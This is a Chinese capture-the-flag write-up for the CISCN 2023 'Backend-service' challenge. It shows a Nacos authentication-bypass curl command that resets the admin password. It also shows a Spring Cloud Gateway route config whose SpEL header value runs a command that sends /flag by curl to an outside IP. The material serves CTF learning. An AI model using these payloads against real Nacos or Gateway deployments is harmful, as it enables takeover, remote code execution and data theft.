CISCN2023 初赛 Backendservice题解

2023-05-29 13:21:17 浏览数 (2)

Backend-service

nacos有很多历史漏洞,用UA绕过鉴权的那个改nacos用户的密码

代码语言:javascript复制
curl -X PUT 'http://IP:PORT/nacos/v1/auth/users?accessToken=' -H 'User-Agent:Nacos-Server' -d 'username=nacos&newPassword=root'

看题目给的附件,东西很少,发现bootstrap.yml这个配置文件是调用nacos配置中心的

代码语言:javascript复制
spring:
  cloud:
    nacos:
      discovery:
        server-addr: 127.0.0.1:8888
      config:
        name: backcfg
        file-extension: json
        group: DEFAULT_GROUP
        server-addr: 127.0.0.1:8888

会调用名字backcfg、扩展名json、group用DEFAULT_GROUP的一个配置

现在唯一能做的事就是在nacos配置中心里面新建一个这样的配置让后台服务调用,且必须是json格式的

顺便再看一眼源码,注意到startAPP是放在gateway文件夹下的,而且这个是唯一的项目程序,根据gateway、nacos关键词查查有没有这方面的漏洞能造成RCE。顺便一提,搜索姿势很重要,搜索引擎也很重要,如果百度谷歌都找不到想要的答案的话可以试试去Freebuf和先知社区这些地方找找(或者从百度、谷歌这些搜索引擎加site限定来搜安全社区的内容)

找到一篇文章 https://xz.aliyun.com/t/11493#toc-5

payload:

代码语言:javascript复制
    {
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "whocansee",
                        "order": 0,
                        "uri": "lb://backendservice",
                        "predicates": [
                            "Path=/echo/**"
                        ],
                        "filters": [
                            {
                                "name": "AddResponseHeader",
                                "args": {
                                    "name": "result",
                                    "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'curl','http://47.113.202.32:23233','-T','/flag'}).getInputStream())).replaceAll('n','').replaceAll('r','')}"
                                }
                            }
                        ]
                    }
                ]
            }
        }
    }
}

0 人点赞